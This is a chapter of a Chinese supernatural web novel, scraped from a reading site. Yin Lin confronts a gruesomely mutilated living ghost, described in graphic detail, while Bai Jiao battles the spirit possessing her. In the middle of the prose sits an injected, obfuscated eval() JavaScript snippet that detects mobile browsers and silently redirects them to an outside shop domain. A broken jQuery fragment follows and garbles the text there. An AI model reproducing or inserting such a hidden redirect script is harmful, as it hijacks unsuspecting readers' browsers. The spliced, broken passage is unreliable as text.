文趣网 > 其他小说 > 离开那个小山村 > 25. 第 25 章
    “白姣,你的梦想是什么?”

    “我没有梦想。”

    “你想成为什么样的人都不知道吗?你以后想做什么事也不知道?”

    “为什么要知道,走一步看一步呗。”

    “你真无聊啊。”

    那时她刚上初中,班里的同学都很陌生,她正沉浸在自己的世界里发呆,有个看起来就很活泼的女孩子坐在她左手边,然后她突然递过来一张纸,上面写着“你长得好像一个明星呀,我可以和你玩吗?”

    什么明星啊。

    她有些疑惑,但一点也不想问,她对追星不感兴趣。但那之后这个女孩就成了她的饭搭子,不过是她硬要白姣等她的,白姣也没拒绝,虽然她觉得自己一个人吃饭更快,但有人和自己一起也不是不行。

    不记得什么原因,她们后面渐渐疏远了,现在白姣也已经想不起她的名字,只有这段对话她印象深刻,甚至连她那时的语气,她的神态都记得一清二楚。

    她才意识到自己真的是个很无聊的人,她习惯走到哪个地方就和哪些人短暂相处,离开后就再无联系,她似乎从来没考虑过与他人维系感情,等到她意识到这一点时,她已经不知道该怎么去做这样的事了。

    偶尔,白姣会一直想,为什么自己没有无话不谈的知心朋友?为什么自己没什么兴趣爱好?为什么她总是将就着,盲目地跟风,麻木地从众,没有渴求的东西,连个像样的梦想都没有。

    梦想,自己的梦想到底是什么?她活着到底是为了什么,她真的只是世上一个可有可无的NPC吗。

    好虚无啊……

    殷临感觉到白姣身上的生命之力正在流失,她似乎陷入执念的泥潭,身体也开始变得冰凉,这意味着留给他们的时间不多了。

    好在殷府已经近在眼前。殷临抱着白姣踹开大门,马超超一惊,这哥们看着文文弱弱的,居然一脚就踢开了实木大门,这怪力,还能轻易治愈伤口……他怕是神仙吧。

    马超超越来越觉得殷临不是普通人了。他一脸欣赏地追着对方的背影,跟在他身后不知转了几个拐角,终于走到了内宅大堂。

    不得不感叹这有钱人的宅院还真大啊,迷宫似的。

    不等他缓过气,刚抬头他就忍不住惊叫一声:“啊——”

    堂前那个鲜血淋漓的东西是什么啊!

    吓得他倒退好几步,差点把背上的苏隽丢到地上。苏隽只看了一眼就浑身发颤地搂紧了他脖子,闭着眼睛不愿再看,喊着:“哇!什么东西啊!吓死我了!”

    盛凌人倒是很镇定,她只是轻轻抚摸着马超超结实的手臂肌肉,目不转睛地盯着堂前悬挂着的“人”,如果还能说他是人的话……

    大堂中央有一根硕大的雷击木,上面挂着的东西姿态扭曲,形容怪异,一根长长的木棍从他喉口穿入而后破体而出,像根钉子把他钉死在了上面,身上的肉一条一条地垂着,像个被施了凌迟的犯人,双目中刺满细长的绣花针,让人不忍直视……黑红的血沿着雷击木缓缓滑落至下方的梨花木椅上,染深了整把椅子,那是他生前最爱坐的地方。如果不是他还在发出咯咯的短促笑音,谁也不会相信这玩意儿居然还活着。

    空气里弥漫着腐朽粘腻的恶臭,只是闻着都让人反胃,盛凌人立马从背包中拿出口罩,给马超超和苏隽都戴了上去。

    殷临站在离那怪物最近的地方,恳切地与他说着什么,其他人无法得知他们的交谈。

    他们只看出秦翠对这殷老爷的恨意尤其深,对他的惩罚也最为残忍,此情此景谁看都会觉得配得上“惨不忍睹”四字,不过像他这样手上不知沾了多少人血的恶徒,落得这个下场也是自作孽不可活。

    盛凌人甚至有端联想,他身上这些伤估计只有凌迟是秦翠的意思,眼眶中扎满的绣花针更像那些被他浸猪笼的无辜女子报的仇,至于他口中那棍子,那应该就是纯粹的恶意了。

    还特地把他挂在了护身镇宅的雷击木上,下面就是他身为一家之主,殷氏大族长至高权威的坐席……其间讽刺意味不言而喻,还真是一场荒谬绝伦的嗜血艺术。

    “凌人,你别靠那么近啊,快回来吧。”马超超担心地小声喊她,目光在她和殷临之间来回,生怕打扰到正与怪物絮语的殷临。

    盛凌人这才意识到自己居然看得失了神,不知不觉已经离他近到触手可及的程度,没办法,毕竟是第一次这么直观地看到这么猎奇可怕的场景,人生哪得几回闻?她可不得仔细研究一下,不过看殷临那么慎重的样子,她还是先回去吧。

    她轻轻退回马超超身边。

    殷临望着挂在上面的人说:“殷异人已经回来了,你应该也很想见他,请把他的魂叫回去吧。”

    殷老爷发出清脆的咯咯声,像不断敲击的念珠,他的身躯蠕动着,那些肉条如飘带一样扭动,血肉翻涌,肥瘦花白一大片,见者无不心惊胆战。

    他的意思是,他是不会叫殷异人的魂的。

    殷临皱眉,“为什么?”

    因为,我要他夺走这女子的身体,为我殷家传宗接代。

    殷临一怔,失望地说:“事到如今还在想着传宗接代,他是个什么人你还不清楚吗,连妻子和儿子都不放过的人,你还把希望寄托在这样一个人渣身上?醒醒吧,殷异人就是个彻头彻尾的恶徒!”

    话音刚落,那怪物突然爆发出一阵撕心裂肺的咆哮,身体狰狞地涌动,四面八方的风呼啸而起,似乎即将从雷击木上挣脱。马超超和盛凌人全都警惕了起来。

    他大吼——你这无礼的黄口小儿!连声爷爷都不叫,还胆敢在我面前放肆!来人啊,家法伺候!

    殷临哀戚地摇摇头,扯了个比哭还悲凉的笑,漆黑发在狂风中飞舞,在眉眼间投下一片阴影,却难掩明亮如星的眼眸,他说:“还沉醉在大家长的梦里没有醒过来吗……爷爷啊,自你继承太爷留下的家业,族人推举你当了大族长,可你给殷家带来的是什么呢?私自挪用公费,骗婚秦家庄孤女,徇私枉法,动辄用家法打压异己……种种罪行,罄竹难书,落得这般田地依旧执迷不悟,梦该醒了,我会让你醒过来的。”

    他刚说完,便听见怀中的白姣正喃喃念着“我不想死”。

    他垂眸看向怀里人,眼波微动,不由感叹她真的很厉害,居然坚持到了现在……我会帮你的,白姣,无论付出什么,我都会送你离开这里。

    下定决心后,他转身将白姣交给盛凌人。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17896521|212679||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她刚背起白姣,殷临就催促道:“带着她离开这,快。”

    盛凌人隐约察觉出他好像下定了某种很危险的决心,看着表面平静的殷临,她担忧地说:“那你呢,你要做什么,我们能帮你什么?”

    “什么都不需要,你们只需离开这里,保护好她,快走吧。”

    马超超见状也催促盛凌人,“还是走吧,凌人,我们在这里估计只会碍事,这哥们他是真有实力,不会有事的。”

    思考一番后她点了点头,跟着马超超出了殷府。

    众人刚走出府邸不久,里面就突然冲出一股滔天煞气,仿佛有人唤醒了蛰伏在府邸深处的凶兽,刺耳的噪音震天撼地,心肺都为之一震,他们不得不捂紧了耳朵。

    “我听到了熟悉的声音。”

    殷异人阴毒一笑。

    白姣双手掐着他脖子,他的恶念正顺着白姣的手臂爬行,白姣杀不死他,他也侵蚀不了白姣,二人就这么僵持着。然而突如其来的一股震荡,让他听见了空间外的响动。

    白姣抬头看向虚空,难道说外面发生了什么吗?

    殷异人露出一副小人得志的嘴脸,“等老东西杀了那小子,你就彻底完蛋了,哼哼!”

    “杀了谁?”白姣狐疑地看着他,有些没转过弯。

    “那小子叫什么来着?哦!是他妈的殷临啊……”

    他阴阳怪气地吐出这个名字,露出鬣狗般贪得无厌的恶心表情,“身为我的侄子却胳膊肘往外拐,他不死谁死!也不知道你这妮子给他灌了什么迷魂汤,为了让老东西叫我的魂,他直接唤醒了他,呵呵呵……在这无间地狱里煎熬这些年,那老东西早变得人不人鬼不鬼了,走这步险棋,除非他是神仙转世,不然只会落得个粉身碎骨的下场!你输定了!”

    什么,也就是说,殷临居然为了救她在这里喊出了殷老爷的名字吗,这样怪物可是会触发狂暴无差别攻击的,那他会不会有事……一定不会有事的吧?说到底他为什么要做这么危险的事啊!她明明马上就可以把这家伙打败了!可恶果然是被他看扁了吧……可恶。

    “别高兴得太早了,蠢货,半场开香槟可是会被打脸的呢!”她收紧了手。

    殷异人发觉自己的灵体更透明了一分,这妮子……怎么突然这么大力气。

    他抬眼一看,撞入一对黑洞样瘆人的眼中,一眨不眨地穿透了他,能从中看见他自身狼狈的倒影。

    白姣的额上手上满是怒张的青筋,雪白的牙磨出咯吱咯吱的响声,饶是见惯了生死的殷异人也不禁胆寒,这还是人类吗,完全是只被怒火冲昏头脑的失控野兽。

    怎么回事,是什么激怒了她?他不知道,但再这样下去他怕是要死了。

    怒火灼得她全身滚烫,她不想嘶吼,只是默默把力量汇集在手中,要把这个家伙彻底撕碎,她就赢了,他必须死,去死吧——殷异人!

    他喉中泄出笑,原来如此,这妮子打算靠她自己把他赶出这具身体,呵呵,一个女子居然有鱼死网破的魄力,不过他也不是什么坐以待毙的人,他可不接受死在女人手里!秦翠都杀不了他,你白姣更不可能!

    既然游戏已经开始了,那就让我们拼尽全力,至死方休!